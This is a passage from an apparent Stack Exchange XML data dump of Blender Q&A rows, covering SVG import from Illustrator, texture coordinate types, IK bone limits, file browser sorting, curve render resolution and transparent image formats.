textures/materials in weight painting mode, or by showing the transparency of the material on the large sphere?  Or some other way I haven't thought of yet to use an image as a reference to weight-paint on an object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, this is not a duplicate of &lt;a href=&quot;https://blender.stackexchange.com/questions/14674/how-do-i-make-a-transparent-material-display-in-the-3d-view&quot;&gt;this&lt;/a&gt; or &lt;a href=&quot;https://blender.stackexchange.com/questions/1054/material-opacity-in-viewport&quot;&gt;this&lt;/a&gt;, both of those answers only work for BI materials it seems, I am using cycles.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2021-01-29T07:00:41.107" Title="How can I use an image texture as a guide for weight painting?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;image&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23170" PostTypeId="1" CreationDate="2015-01-14T00:52:09.680" Score="31" ViewCount="62551" Body="&lt;p&gt;I've tried multiple times to  import a SVG file from illustrator CS5.5 to Blender 2.71 and 2.73. However, I do not see a mesh, curve, or anything pop up in my &quot;Outliner&quot; window. So I know its not so small I can't see it. I even made sure under user preferences that the &quot;import and export of SVG 1.1 format&quot; is &quot;checked.&quot; I've tried even just importing text from illustrator and I'm still getting no where. What can I do to resolve this problem? If this is common error with this version of Blender, then what can I do to transform an image into a 3D object in Blender?&lt;/p&gt;&#xA;" OwnerUserId="10967" LastEditorDisplayName="user1853" LastEditDate="2015-07-29T18:19:31.983" LastActivityDate="2017-09-28T06:43:48.233" Title="Why can't I import a SVG file from Adobe Illustrator or Inkscape?" Tags="&lt;image&gt;&lt;import&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23171" PostTypeId="2" ParentId="23170" CreationDate="2015-01-14T02:43:22.603" Score="38" Body="&lt;h1&gt;This is a very common error with a simple solution.&lt;/h1&gt;&#xA;&lt;p&gt;The error:&lt;/p&gt;&#xA;&lt;p&gt;Just because you saved your file as SVG, it doesn't mean that the information is in &lt;a href=&quot;https://pixellogo.com/blogs/pixellogo-blog/raster-vs-vector-graphics&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;vector format&lt;/strong&gt;&lt;/a&gt;, and blender's SVG importer expects vectors (paths) to create curve objects.&lt;/p&gt;&#xA;&lt;h1&gt;Long winded explanation:&lt;/h1&gt;&#xA;&lt;p&gt;Scalable Vector Graphics (SVG) is &lt;a href=&quot;https://www.w3.org/TR/SVG11/&quot; rel=&quot;noreferrer&quot;&gt;defined&lt;/a&gt; as&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;a modularized language for describing two-dimensional vector and mixed vector/raster graphics in XML&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What that means is that the SVG format can contain three types of graphic objects:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Vector_graphics&quot; rel=&quot;noreferrer&quot;&gt;Vector Graphics&lt;/a&gt;&lt;/strong&gt; (made from the 2D representation of &lt;a href=&quot;https://www.w3.org/TR/SVG/paths.html&quot; rel=&quot;noreferrer&quot;&gt;paths&lt;/a&gt;, points, lines, shapes, fill etc. )&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Raster_graphics&quot; rel=&quot;noreferrer&quot;&gt;Raster graphics&lt;/a&gt;&lt;/strong&gt; (bitmap images, as pixel information)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.w3.org/TR/SVG/text.html#TextElement&quot; rel=&quot;noreferrer&quot;&gt;Text&lt;/a&gt;&lt;/strong&gt; (using &lt;a href=&quot;https://www.w3.org/TR/SVG/fonts.html&quot; rel=&quot;noreferrer&quot;&gt;fonts&lt;/a&gt;, and &lt;a href=&quot;https://www.w3.org/TR/2008/REC-xml-20081126/#syntax&quot; rel=&quot;noreferrer&quot;&gt;XML character data&lt;/a&gt; formatting information).&lt;/p&gt;&#xA;&lt;p&gt;Currently the &lt;strong&gt;Blender's SVG importer can only read paths&lt;/strong&gt; (vectorial graphics). Raster and text information will not be imported.&lt;/p&gt;&#xA;&lt;h1&gt;So how do I import SVG files correctly then?&lt;/h1&gt;&#xA;&lt;p&gt;In this particular case your illustrator/inkscape file is just a bitmap image contained within the SVG file, but is not an object made of paths.&lt;/p&gt;&#xA;&lt;p&gt;To convert a raster image (pixels) into vectors (paths or curves) it has to be &lt;strong&gt;TRACED&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In illustrator select your graphic, and form the menu select: Object-&amp;gt;Live_Trace-&amp;gt;Tracing Options. Then trace.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O6D3G.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Inkscape select Path-&amp;gt;Trace_Bitmap (or press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TxXeV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TxXeV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the image has been properly traced and saved as SVG, the file should import correctly on Blender.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FnNf2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Random tips to deal with SVGs&lt;/h1&gt;&#xA;&lt;p&gt;When exporting from illustrator un-check this box:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t2wE3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;On newer versions of there is an option to save as Adobe CEF when saving as SVG. Do not use that, but SVG instead. (see &lt;a href=&quot;https://blender.stackexchange.com/questions/38451/imported-svg-has-major-slices-or-cut-when-extruded&quot;&gt;this question&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iAGhV.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iAGhV.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;To import Text&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Text in illustrator doesn't get translated into outline curves automatically when you save as SGV either: You have to select the text and go to Type-&amp;gt;&lt;strong&gt;Create Outlines&lt;/strong&gt; first. Once is converted to paths, it's easy to create a SVG file that blender can deal with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Filled Paths&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In Illustrator you can have paths that are &lt;em&gt;filled&lt;/em&gt; but not &lt;em&gt;closed&lt;/em&gt;. Those paths might not translate correctly in blender, so make sure to close your paths in illustrator before exporting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Scale:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The scale in which the objects where created might not match blender's scene scale (Read &lt;a href=&quot;https://blender.stackexchange.com/questions/44520/why-are-my-svg-imports-so-small/44555#44555&quot;&gt;this post&lt;/a&gt;). Upon importing you may see that there are new curve objects in the &lt;a href=&quot;http://www.blender.org/manual/editors/outliner.html&quot; rel=&quot;noreferrer&quot;&gt;outliner&lt;/a&gt; but they might not be visible in blender's 3D viewport because they are too small (or sometimes too large). If that's the case you might need to zoom in on the viewport to find your objects, or you might also need change the clip point for the viewport. You can fix scale/visibility issues re-scaling the imported objects or re-scaling your scene.&lt;/p&gt;&#xA;&lt;p&gt;For more on this topic please read &lt;a href=&quot;https://blender.stackexchange.com/questions/35919/how-do-i-extrude-an-imported-svg-along-the-z-axis-without-clipping-the-original/35995#35995&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/questions/23105/why-wont-blender-let-me-import-svg-files&quot;&gt;this&lt;/a&gt;:&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2017-09-28T06:43:48.233" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23172" PostTypeId="1" AcceptedAnswerId="23202" CreationDate="2015-01-14T03:26:03.963" Score="0" ViewCount="1776" Body="&lt;p&gt;I have an armature/mesh in my scene. I want to duplicate this rig multiple times so I can have multiple instances of the same character. Problem is that all the armatures behave to their meshes, but only the original driver panel (floating above the character's head) controls all the other characters. This is very confusing for me and I would appreciate any help you could give.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This rig is appended to my scene (not linked) and I have not set any keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know very little about rigs, so extra detail is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2015-03-16T03:44:14.613" Title="How do I duplicate an armature and rig?" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23173" PostTypeId="1" AcceptedAnswerId="23174" CreationDate="2015-01-14T03:39:42.077" Score="29" ViewCount="12699" Body="&lt;p&gt;How exactly to texture coordinates work?  I know they are represented by vectors, but how does a vector store texture mapping information?  How does each type of texture coordinates work and what are their respective advantages and disadvantages?&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2016-01-28T17:29:40.397" LastActivityDate="2016-01-28T17:29:40.397" Title="How do texture coordinates work?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="23174" PostTypeId="2" ParentId="23173" CreationDate="2015-01-14T03:39:42.077" Score="43" Body="&lt;h3&gt;First, a little explanation of how texturing works.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The process of applying a texture to a mesh is called &lt;em&gt;UVW mapping&lt;/em&gt;.  The result of UVW mapping an object is a set of &lt;em&gt;UVW coordinates&lt;/em&gt; that define what parts of the texture go where on the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A texture can be thought of as a three-dimensional space with each point assigned a color.  A two-dimensional image texture can be thought of as a “solid” three-dimensional texture where the color is the same regardless of the Z position we are looking.  Looking straight at an image texture, the bottom left corner is (0, 0, 0) and the top right corner is (1, 1, 0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way mapping works is every point on the mesh is assigned a three dimensional &lt;em&gt;UVW coordinate&lt;/em&gt; (for some reason the letters U, V, and W are used instead of X, Y, and Z in texturing).  &lt;strong&gt;This coordinate defines where in the texture blender should look to find the color for that point.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be wondering why we need a third (W) dimension for texturing.  This is probably because you are used to thinking of image textures (which are two-dimensional).  When you are using an image texture, it is true, the third dimension is basically ignored.  &lt;em&gt;But&lt;/em&gt;, there is another type of texture: a &lt;em&gt;procedural texture&lt;/em&gt;.  Procedural textures (such as noise, Voronoi, magic, etc.) are generated based on some kind of a computer algorithm or formula which need not be restricted to two-dimensions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Now a look at the main types of texturing.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I will look at four different types of texture coordinates here: &lt;em&gt;generated, unwrapped, camera, and window&lt;/em&gt;.  There are many other types, but these are generally the most useful, especially the first two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Generated texture coordinates:&lt;/strong&gt;&lt;br&gt;&#xA;Generated coordinates are based on the bounding box of the object.  The bottom, left, front corner of the bounding box is assigned the coordinates (0, 0, 0) and the top, right, back corner of the bounding box is assigned the coordinates (1, 1, 1).  The UVW coordinates of each point on the object's surface are simply their coordinates in the bounding box.  Generated coordinates are most often used for procedural textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Unwrapped texture coordinates:&lt;/strong&gt;&lt;br&gt;&#xA;The most common and versatile way of UV mapping an object is by &lt;em&gt;UV unwrapping&lt;/em&gt; it.  This is done by cutting up the mesh of the object with &lt;em&gt;seams&lt;/em&gt; along the edges.  The cut out pieces of the object (called &lt;em&gt;islands&lt;/em&gt;) are then flattened out (the flattened out version of the object is called a &lt;em&gt;pelt&lt;/em&gt; or a &lt;em&gt;UV map&lt;/em&gt;) and further adjusted to fix distortions.  This is typically done just for two-dimensional textures as the W (Z depth) coordinate of all points will always be 0 since you are flattening the object out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Camera texture coordinates:&lt;/strong&gt;&lt;br&gt;&#xA;Camera texture coordinates are based on the object's position relative to the camera.  The origin of this coordinate system is the location of the camera and the U, V, and W axes are parallel to the camera's local X, Y, and Z axes.  This is typically used for lining up the texture with the camera-plane; i.e. the texture will be “squared” with the camera's view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Window texture coordinates:&lt;/strong&gt;&lt;br&gt;&#xA;Window texture coordinates produce a similar (but not identical) result to camera coordinates, but in a different way.  Window coordinates are based on the viewing window.  They, like unwrapped coordinates, produce no W coordinates (W is always 0).  The U and V coordinates of a point on the surface of the mesh are equal to the coordinates of that point on the view screen/window.  With the bottom left corner of the screen being (0, 0) and the top right being (1, 1).  The main distinctions from camera coordinates is that window coordinates are always 0 in the W direction, and are stretched based on the aspect ratio of the final render (since the top right corner is always 1, 1).&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2016-01-19T20:56:18.563" LastActivityDate="2016-01-19T20:56:18.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23175" PostTypeId="2" ParentId="23014" CreationDate="2015-01-14T05:08:48.527" Score="1" Body="&lt;p&gt;You need to limit the IK movement for the bones. The parameters are found under the bone tab. Check the &lt;em&gt;limit&lt;/em&gt; option for the proper axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line signifies where the bone(s) will go to accommodate the IK and will change when you change the degrees. Set it where ever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b1Upl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vpvfz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-01-14T05:08:48.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23176" PostTypeId="2" ParentId="23159" CreationDate="2015-01-14T08:27:59.987" Score="4" Body="&lt;p&gt;This isn't a complete answer but I dump here what I've found out so far. Perhaps someone else can extend on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tooltip displays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PFCf5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the screen &quot;Default-nonnormal&quot; cannot be accessed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; D.screens[&quot;Default-nonnormal&quot;].params.sort_method=&quot;FILE_SORT_TIME&quot;&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;KeyError: 'bpy_prop_collection[key]: key &quot;Default-nonnormal&quot; not found'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The buttons are defined in &lt;code&gt;scripts\startup\bl_ui\space_filebrowser.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant parts of the draw function show that the parameters are retrieved from context.space_data.params I couldn't find anything in the python code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   def draw(self, context):&#xA;        ...&#xA;        st = context.space_data&#xA;        ...&#xA;        params = st.params&#xA;&#xA;        # can be None when save/reload with a file selector open&#xA;        if params:&#xA;            layout.prop(params, &quot;display_type&quot;, expand=True, text=&quot;&quot;)&#xA;            layout.prop(params, &quot;sort_method&quot;, expand=True, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Dumping the params (Using &lt;a href=&quot;https://blender.stackexchange.com/questions/1879/is-it-possible-to-dump-an-objects-properties-and-methods&quot;&gt;Is it possible to dump an Objects Properties and Methods?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.__doc__ = None&#xA;obj.__module__ = bpy.types&#xA;obj.__slots__ = ()&#xA;obj.bl_rna = &amp;lt;bpy_struct, Struct(&quot;FileSelectParams&quot;)&amp;gt;&#xA;obj.directory = C:\somepath&#xA;obj.display_type = FILE_SHORTDISPLAY&#xA;obj.filename = driver_curve.blend&#xA;obj.filter_glob =&#xA;obj.rna_type = &amp;lt;bpy_struct, Struct(&quot;FileSelectParams&quot;)&amp;gt;&#xA;obj.show_hidden = False&#xA;obj.sort_method = FILE_SORT_TIME&#xA;obj.title = Open Blender File&#xA;obj.use_filter = True&#xA;obj.use_filter_backup = False&#xA;obj.use_filter_blender = True&#xA;obj.use_filter_folder = True&#xA;obj.use_filter_font = False&#xA;obj.use_filter_image = False&#xA;obj.use_filter_movie = False&#xA;obj.use_filter_script = False&#xA;obj.use_filter_sound = False&#xA;obj.use_filter_text = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;params.sort_method = FILE_SORT_TIME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at line 55:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if params:&#xA;        params.sort_method = FILE_SORT_TIME&#xA;        layout.prop(params, &quot;display_type&quot;, expand=True, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sets the sort_method in a brutal unchangeable way.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Trying from C source&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The definitions are in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blender-2.73\source\blender\makesrna\intern\rna_space.c&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void rna_def_fileselect_params(BlenderRNA *brna)&#xA;{&#xA;    StructRNA *srna;&#xA;    PropertyRNA *prop;&#xA;&#xA;    static EnumPropertyItem file_sort_items[] = {&#xA;        {FILE_SORT_ALPHA, &quot;FILE_SORT_ALPHA&quot;, ICON_SORTALPHA, &quot;Sort alphabetically&quot;,&#xA;                          &quot;Sort the file list alphabetically&quot;},&#xA;        {FILE_SORT_EXTENSION, &quot;FILE_SORT_EXTENSION&quot;, ICON_SORTBYEXT, &quot;Sort by extension&quot;,&#xA;                              &quot;Sort the file list by extension&quot;},&#xA;        {FILE_SORT_TIME, &quot;FILE_SORT_TIME&quot;, ICON_SORTTIME, &quot;Sort by time&quot;, &quot;Sort files by modification time&quot;},&#xA;        {FILE_SORT_SIZE, &quot;FILE_SORT_SIZE&quot;, ICON_SORTSIZE, &quot;Sort by size&quot;, &quot;Sort files by size&quot;},&#xA;        {0, NULL, 0, NULL, NULL}&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work (also dump prints a completely different object):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print( bpy.types.FileSelectParams.sort_method )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AttributeError: type object 'FileSelectParams' has no attribute 'sort_method'&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-01-14T12:09:26.710" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23177" PostTypeId="2" ParentId="23162" CreationDate="2015-01-14T12:43:05.377" Score="3" Body="&lt;p&gt;IK stretch bones do stretch in all 3 axes and can't behave like you want.&#xA;The solution and common method is to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;duplicate all the bones in the chain (except the control) and un-parent them from each other&lt;/li&gt;&#xA;&lt;li&gt;for each bone_copy set &lt;em&gt;Copy Location&lt;/em&gt; and &lt;em&gt;Copy Rotation&lt;/em&gt; constraints targeting the original bone&lt;/li&gt;&#xA;&lt;li&gt;for each bone_copy set &lt;em&gt;Stretch To&lt;/em&gt; constraint targeting the next bone in the chain. This constraint should have &lt;em&gt;Volume&lt;/em&gt; set to &lt;em&gt;XZ&lt;/em&gt; to maintain reality or to &lt;em&gt;None&lt;/em&gt; if you only want to stretch in Y axis&lt;/li&gt;&#xA;&lt;li&gt;bind the mesh to the copied bones&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-14T12:43:05.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23178" PostTypeId="2" ParentId="23169" CreationDate="2015-01-14T13:15:05.973" Score="3" Body="&lt;p&gt;Here is my solution:&#xA;Create a plane and subdivide it (as many times as you like, depending on your weight paint resolution requirements). Unwrap the mesh. Now you want to create a sphere from a plane using shapekeys. See the Cegaton's answer on how to do it here: &lt;a href=&quot;https://blender.stackexchange.com/questions/10741/what-is-the-best-way-to-unwrap-a-sphere&quot;&gt;What is the best way to unwrap a sphere?&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o5fqH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your transformation is ready, check the &lt;em&gt;Basis&lt;/em&gt; key and add your heightmap image as a background image. Scale the added image to fit the size of a plane and check the image display type to &lt;em&gt;Front&lt;/em&gt;. Set the &lt;em&gt;Opacity&lt;/em&gt; value as you like.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bUHoJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can easily paint in &lt;em&gt;Weight Paint Mode&lt;/em&gt;, seeing a heightmap texture.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YN7Xi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transform a plane to a sphere using shapekeys.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6g1jf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see all work quite nice.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XRdHg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-01-14T14:41:12.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23180" PostTypeId="2" ParentId="13736" CreationDate="2015-01-14T14:54:54.687" Score="1" Body="&lt;p&gt;Possibly, the root can be moved too using &lt;code&gt;ParticleHairKey.co&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;particle.hair_keys[k].co = (x,y,z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="911" LastEditorUserId="241" LastEditDate="2015-01-14T15:25:26.217" LastActivityDate="2015-01-14T15:25:26.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23181" PostTypeId="1" CreationDate="2015-01-14T15:01:13.827" Score="1" ViewCount="4192" Body="&lt;p&gt;I was rendering a bezier curve made on Blender Cycles in 4K resolution but it looks pretty awful, it looks too pixelated and the image doesnt even looks like the curve on preview, how can i configure this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEQzy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-01-14T15:24:07.683" Title="How to properly render a curve/thin object in Cycles?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ClosedDate="2015-01-14T15:49:23.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="23182" PostTypeId="2" ParentId="23181" CreationDate="2015-01-14T15:24:07.683" Score="1" Body="&lt;p&gt;Two setting for the curve you need to change, to change the curve's resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First to add more loops along the length of the curve change the &lt;em&gt;Resolution&lt;/em&gt; of the curve.&lt;br&gt;&#xA;The &lt;em&gt;Preview&lt;/em&gt; setting controls the amount of loops displayed in the 3D view. The &lt;em&gt;Render&lt;/em&gt; setting controls how many get rendered, if it is set to 0, then the &lt;em&gt;Preview&lt;/em&gt; number is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add more points around the circumference of the curve change the &lt;em&gt;Resolution&lt;/em&gt; of the &lt;em&gt;Bevel&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XXEAZ.png&quot; alt=&quot;curve settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-01-14T15:24:07.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23183" PostTypeId="1" AcceptedAnswerId="23283" CreationDate="2015-01-14T15:26:52.747" Score="8" ViewCount="391" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x7izP.png&quot; alt=&quot;Uncolored sphere&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aEUFM.png&quot; alt=&quot;Varying colored tubes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a series of tubes that were inputted as VRMLs with varying colors. I have made a path out of them and have the sphere following the tubes. I want to link the color of the sphere to be the same as the tube while the sphere is traveling in time over the tubes. How can I link the colors? I also want the sphere to glow with the color of the tube. &lt;/p&gt;&#xA;" OwnerUserId="10975" LastActivityDate="2015-02-21T16:04:03.453" Title="Linking the color of one mesh to a second mesh" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="11" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23184" PostTypeId="1" AcceptedAnswerId="23187" CreationDate="2015-01-14T15:41:02.050" Score="5" ViewCount="2351" Body="&lt;p&gt;I originally saved as a tiff but I couldn't find an option for transparency. What are the best file types to save as to maintain high quality and have transparency.&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2015-01-14T17:18:53.817" Title="What options are there for high quality transparent file types?" Tags="&lt;rendering&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23185" PostTypeId="2" ParentId="2812" CreationDate="2015-01-14T15:51:55.647" Score="0" Body="&lt;p&gt;You may want to reproduce the way bones are created!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean: a bunch of calcium being secreted outside the cells (or tissue) and molding around them... Thats how you get the porous pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can create several spheres and place them in a pattern, the create a cube, put the cube inside the pattern and use a Boolean modified to &quot;cut&quot; the cube based on the spheres. After that, apply the boolean modifier and you may get the result you wish.&lt;/p&gt;&#xA;" OwnerUserId="10977" LastActivityDate="2015-01-14T15:51:55.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23187" PostTypeId="2" ParentId="23184" CreationDate="2015-01-14T16:08:27.307" Score="3" Body="&lt;p&gt;I would personally recommend the .PNG file over TIFF or TGA. Here is why:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Max Colors:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PNG supports 256T (48 bit)&lt;/li&gt;&#xA;&lt;li&gt;TIFF supports 16M (24 bit)&lt;/li&gt;&#xA;&lt;li&gt;TGA supports 16M (24 bit)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;PNG files support more colors per file, resulting in higher quality files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transparency:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;PNG supports single color/Alpha methods&lt;/li&gt;&#xA;&lt;li&gt;TIFF supports none&lt;/li&gt;&#xA;&lt;li&gt;TGA supports none&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only major downsize is the resolution cap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Max 